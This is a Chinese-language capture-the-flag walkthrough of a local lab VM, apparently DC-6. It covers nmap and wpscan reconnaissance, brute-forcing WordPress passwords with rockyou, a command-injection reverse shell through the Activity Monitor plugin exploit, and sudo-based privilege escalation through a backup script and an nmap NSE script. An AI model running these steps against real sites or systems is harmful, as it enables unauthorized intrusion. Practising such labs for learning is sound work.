一、準備工作
kali和靶機都選擇NAT模式(kali與靶機同網段)
1.靶場環境
下載鏈接: 百度網盤 請輸入提取碼 提取碼: bazx
2.kali的ip
命令:ifconfig
3.靶機的ip
掃描靶機ip
命令:sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)掃描靶機開放的端口及其服務
nmap -sV -p- 192.168.101.119
(2)看看詳細信息
nmap -A -p- 192.168.101.119
2.網站的信息收集
(1)訪問靶機的網站
1.先從80端口尋找突破口,訪問一下http://192.168.101.119 ,發現URL欄寫的不是靶機的ip,而是http://wordy/,而很明顯,DNS沒有解析出來
2.回過頭來注意到nmap掃描時有這樣一個提示,基本可以確認需要手動配置hosts文件
(2)配置hosts文件
1.sudo vim /etc/hosts ;在文件添加:192.168.101.115(靶機ip) wordy
2.再次訪問http://192.168.101.115
沒有發現啥有用信息,只是知道這個是一個WordPress網站
(3)用wpscan工具看看這個靶機網站有什么用戶
wpscan --url http://wordy --enumerate u
發現了幾個用戶
(4)用dirb掃描看看網站的后臺登錄是哪個網址
dirb http://wordy
1.打開http://wordy/wp-admin/ ,發現登錄網址
(5)wpscan字典爆破
1.在桌面創建一個wordy-pass1.dic文件
2.將rockyou.txt里面的密碼復制到wordy-pass1.dic
cd /usr/share/wordlists/
ls
cp rockyou.txt /home/kali/桌面/wordy-pass1.dic
3.將剛才得到的用戶放在文件user.txt
vim user.txt
cat user.txt
3.使用wpscan進行密碼爆破
常規的方法跑太費時間,把一部分密碼拿出來跑
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
wpscan --ignore-main-redirect --url http://wordy -U user.txt -P wordy-pass1.dic --force
得出Username: mark, Password: helpdesk01
用爆破出來的用戶密碼登錄
成功登錄到網站后臺
(6)使用mark用戶登錄后臺,發現一個插件Activity monitor,猜測這個插件存在漏洞
1.searchsploitg工具查看Activity monitor漏洞
searchsploit Activity monitor
發現是命令注入漏洞
(1)修改html代碼action跳轉及shell反彈IP地址到kali本機
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html
cp 45274.html 45274.html.bak
vim 45274.html
(2)Kali臨時開啟HTTP服務,并訪問45274.html頁面
python -m SimpleHTTPServer 80
同時在kali終端這邊開啟監聽9999端口,在頁面點擊submit request后,反彈shell成功
(3)優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python -c ‘import pty;pty.spawn(“/bin/bash”)’
三、提權
1. 進入到mark用戶的家目錄下,stuff文件下有一個things-to-do.txt文件,查看文件內容發現graham用戶及登錄密碼
cd /home/mark/stuff
ls
cat things-to-do.txt
2.用得到的用戶密碼ssh遠程登錄
ssh graham@192.168.101.119
3. graham用戶成功登錄后,查看當前用戶可以執行的操作
sudo -l
發現可以運行jens用戶下面的backups.sh
4.查看backups.sh
cd /home/jens
ls
cat backups.sh
5. 在backups.sh文件中寫入/bin/bash,并以jens用戶去執行該腳本
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
6.獲得jens用戶權限時,查看jens用戶可執行的操作
sudo -l
發現jens用戶可以在無密碼狀態下使用nmap命令
7. 發現flag
寫入一條命令到getShell,并通過nmap運行getShell成功進入root用戶,在/root目錄下找到theflag.txt文件
echo 'os.execute("/bin/sh")' > getShell
sudo ?nmap ?--script=getShell
cd /root
cat theflag.txt